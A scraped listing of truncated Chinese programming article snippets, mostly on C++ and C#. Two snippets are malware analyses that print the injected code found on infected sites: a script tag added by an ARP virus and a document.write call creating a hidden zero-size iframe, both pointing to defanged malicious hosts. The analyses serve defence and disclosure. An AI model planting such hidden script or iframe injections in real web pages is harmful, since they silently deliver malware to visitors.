Time of Update: 2018-12-05
一.什麼是Attribute 先看下面的三段代碼:1.自訂Attribute類:VersionAttribute[AttributeUsage(AttributeTargets.Class)] public class VersionAttribute : Attribute { public string Name { get; set; } public string Date { get; set; } public string Describtion
Time of Update: 2018-12-05
C# 團隊近來如何? Anders Hejlsberg 對 C# 的未來有什麼想法? 他們未來的計劃是什麼?又有什麼新面孔加入團隊?帶著這些問題,MSDN 第九頻道的記者在 C# 團隊的設計一次會議中和他們面對面進行了一次交談。 觀看完整視頻(Silverlight 格式)C# 4.0 將包含很多新功能,協助開發人員提高效率,包括動態 Contruct。採訪中,C# 團隊並沒有透露過多細節,因為很多東西要到 PDC2008 才能正式公布。但你仍能清楚地看到他們在 C#
Time of Update: 2018-12-05
<tr> <td class="right"> <span>*</span>驗證碼:</td> <td width="165px"> <input name="checkcode" type="text" maxlength="4" class="login_input" style="width: 80px"
Time of Update: 2018-12-05
#include <stdio.h>class A{public://p1是一個指向非static成員函數的函數指標void (A::*p1)(void);//p2是一個指向static成員函數的函數指標void (*p2)(void);
Time of Update: 2018-12-05
幾乎所有C++的書籍中都強烈建議函數返回的時候,要使用按引用返回、甚至直接返回指標,尤其是涉及到class和struct的時候。如果函數返回對象,而不是指標,那麼在執行return的時候,會使用被return的對象“複製構造”臨時對象,然後,return語句執行完畢(遇到分號;了)函數內部建立的全部變數析構、出棧。而被“賦值構造”的臨時對象則在調用該函數的語句執行完畢(遇到分號;或者右邊的大括弧})後,析構。上代碼:class
Time of Update: 2018-12-05
看如下代碼:class OperatorNewCls{private://enum {sz=10};int arr[sz];public:/*定義解構函式後,sizeof(OperatorNewCls)的值未改變,**但是new OperatorNewCls[size]的值等於(sizeof(OperatorNewCls)*size+4),**因為在new OperatorNewCls[size][-1]未知存放了數組的長度size。****若不定義解構函式,**則new
Time of Update: 2018-12-05
編譯期間求值,將計算提前到編譯期間進行,可以最大限度地榨乾編譯器的潛力,提高程式的運行速度,用Andrei Alexanderescu的話說就是“時間花在編譯期,就某種意義來說這是‘免費的’”(《C++設計新思維》P55)。所以就有了對數組在編譯期間求和的需求。先上代碼,再解釋:#include <iostream>using namespace std;//一個全域的int數組,需要對其求和const int
Time of Update: 2018-12-05
根據《Effective C++ 中文版(第三版)》所講,語句Widget *pw=new Widget;“共調用了兩個函數:一個是用以分配記憶體的operator new,一個是Widget的default建構函式。”對於前者,我們可以通過重載operator new符號,進行幹預;對於後者,我們只能編寫建構函式,但是無法阻止或增加執行次數,因為那是編譯器自己增加的代碼,用於在operator
Time of Update: 2018-12-05
void func1(){ const int** pp;//2次*(因為const的右邊有出現了2次*)後,禁止賦值 pp=new const int*[1]; pp[0]=new int[1]; //pp[0][0]=0;//error: assignment of read-only location } void func2(){ int const **
Time of Update: 2018-12-05
endurer 原創2007-05-24 第1版ARP病毒自動加入的網址為:/---<script language=javascript src=hxxp://google**.17***173**8.org/ad***.js></script>---/ad***.js 包含代碼:/---document.write('<iframe width=0 height=0 src="hxxp://google**.17***173**8.org/p*d***.htm"></iframe>'); -
Time of Update: 2018-12-05
一個傳播 Worm.Win32.Otwycal.c / Worm.Win32.Infei.a 的網站endurer 原創2008-04-07 第2版 補充瑞星的回複 第1版該網站首頁包含代碼:/---document.write("<iframe src=hxxp://a**.1**58d**m.com/b2.htm width=0 height=0></iframe>")---/#1
Time of Update: 2018-12-05
Visual C++實現Flash動畫播放資訊產業部電子第二十二研究所青島分所 郎銳 摘要: 本文通過在VC中將外部swf格式檔案內嵌為VC的內部資源,使其在程式運行過程中從資源動態釋放到臨時檔案,從而實現VC對Flash動畫的播放。 引言 Flash動畫由於可以很方便地把使用者的想象通過動畫顯現出來,使原本只屬於專業製作人員的動畫製作變的異乎尋常的快捷、方便。由於Flash製作的動畫在層次、內容、表現形式等諸多方面均比較出色,因此在網路上得到迅猛的發展,更有不少廠商用Flash在互
Time of Update: 2018-12-05
一、工具的使用1、學會使用vim/emacs,vim/emacs是linux下最常用的源碼編輯具,不光要學會用它們編輯源碼,還要學會用它們進行尋找、定位、替換等。新手的話推薦使用vim,這也是我目前使用的文字編輯器。2、學會makefile檔案的編寫規則,並結合使用工具aclocal、autoconf和automake產生makefile檔案。3、掌握gcc和gdb的基本用法。掌握gcc的用法對於構建一個軟體包很有益處,當軟體包包含的檔案比較多的時候,你還能用gcc把它手動編譯出來,你就會對軟體
Time of Update: 2018-12-05
1.類中只有後聲明的成員才能訪問前面的;例外:1在inline成員函數定義的名字 解析分1.函式宣告沒變 2.函數體所有類中的聲明都可見(類結柬前最後是函數體) 2用作預設實參的名字 也是在名字解析第二步類的完整域中完成 必是靜態2,靜態成員初始化可以不用限制符(類名::成員名)就引用類成員/////////////////////////////////////////////////////////
Time of Update: 2018-12-05
一位懷疑論者眼中的C++發展史作者: Chad Perrin翻譯:PurpleEndurer,2011-01-17第1版分類: C/C++, Go, Mac OSX, Objective Caml, Objective-C, Programming Languages標籤: C, 蘋果公司, Apple Inc., C++, Language, Bjarne Stroustrup, Objective-C, C/C++, 程式設計語言, Programming Languages, 軟體開發,
Time of Update: 2018-12-05
/*本程式是類比漢諾塔的操作過程,將每一步的執行方法列印出來,並記錄執行次數;主程式採用遞迴方式;每執行一步等待0.5秒;*/#include<stdio.h>#include<conio.h> /*for the function: clrscr()*/#include<dos.h> /*for the function: delay(int ms) */int count = 0; /*move
Time of Update: 2018-12-05
C++程式員在學習C#時需要注意的一些問題(一)1)使用介面(interface)在c#中,使用關鍵字interface來定義介面;而且,在c#中不能使用多重繼承。 interface ICar//介面ICar { int Speed//屬性Speed { get; set; } void Run();//介面方法 void Stop(); } class MyCar : ICar //繼承介面 { int _speed; public int
Time of Update: 2018-12-05
發表於:2011-07-16 18:22:11最近在做一個小軟體,其中有一個功能是把下載下來的一個txt檔案給分割成三個小檔案,然後分別儲存為文字文件。大檔案的格式如下:#0#1##########2##########3//這裡有個換行其中,1,2,3假設為每個小檔案要儲存的內容,“##########”為用來識別的分割符。即,每當讀到“##########”時,就先不往下讀檔案,並將之前讀到的內容儲存下來。接著再繼續往下讀檔案,直到檔案結束。回複於:2011-07-16
Time of Update: 2018-12-05
C++之父Bjarne Stroustrup寫的《The C++ Programming Language (Special Edition)》中各章後面的忠告。第1章 致讀者[1] 在編寫程式時,你是在為你針對某個問題的解決方案中的思想建立起一種具體表示。讓程式的結構儘可能地直接反映這些思想: [a] 如果你能把“它”看成一個獨立的概念,就把它做成一個類。 [b] 如果你能把“它”看成一個獨立地實體,就把它做成某個類的一個對象。 [c]
Time of Update: 2018-12-05
1.assert的使用對於內部使用的函數,通常可以用斷言,而對於提供給外部使用的函數,最好使用錯誤處理。只有在產生DEBUG碼時ASSERT()才起作用. 在產生Release碼時編譯器會跳過ASSERT(). 如果在程式開始加入代碼:# define NDEBUG 則該程式中的assert函數全部失效,不必逐一刪除。 斷言是一個包含布林運算式的語句,在執行這個語句時假定該運算式為 true。如果運算式計算為 false,那麼系統會報告一個 Assertionerror。它用於調試目的: